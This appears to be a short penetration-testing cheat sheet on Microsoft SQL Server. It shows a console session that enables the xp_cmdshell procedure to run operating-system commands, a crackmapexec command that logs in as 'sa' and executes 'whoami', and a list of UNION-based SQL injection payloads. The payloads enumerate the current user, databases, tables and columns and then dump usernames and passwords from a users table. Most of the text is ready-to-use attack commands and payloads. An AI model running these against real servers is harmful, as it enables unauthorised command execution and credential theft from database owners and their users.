Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applicationsβwhich may run either on the same computer or on another computer across a network.
In MSSQL there is a procedure called xp_cmdshell that receives a command from Windows, executes it and return the result as rows of text. Although the most common case is that the user of the application does not have permissions to execute the xp_cmdshell procedure because is disabled by default, it has been seen on several occasions that, due to a misconfiguration, it does have permissions to enable it.
We need to configure xp_cmdshell.
1> EXEC SP_CONFIGURE N'show advanced options', 1
2> go
Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
(return status = 0)
1> EXEC SP_CONFIGURE N'xp_cmdshell', 1
2> go
Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
(return status = 0)
1> RECONFIGURE
2> go
Once configured we can execute commands with sqsh or crackmapexec.
crackmapexec
We can execute code in a easier way with crackmapexec.
SQL Injection in MSSQL
To understand the vulnerability visit the following page link.
crackmapexec mssql -u sa -p password --local-auth -x 'whoami'
' union all select 1,2 -- -
# Current User
' union all select CURRENT_USER, 2 -- -
# Databases
' union all select name, 2 from master..sysdatabases -- -
# Tables from database "music"
' union all select name, 2 from music..sysobjects WHERE xtype = 'U' -- -
# Columns from "users" table
' union all select name, 2 from syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'users') -- -
# Dump a table
' union all select user, password from users -- -